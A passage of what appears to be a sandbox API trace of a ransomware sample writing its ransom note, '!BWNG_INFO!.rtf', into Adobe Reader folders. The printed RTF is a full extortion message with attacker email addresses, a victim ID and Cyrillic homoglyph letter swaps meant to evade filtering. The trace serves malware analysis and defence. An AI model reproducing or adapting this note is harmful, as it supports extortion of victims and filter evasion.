r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.590] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.591] CloseHandle (hObject=0x1cc) returned 1 [0040.591] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\!bwng_info!.rtf")) returned 0xffffffff [0040.591] GetLastError () returned 0x2 [0040.591] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 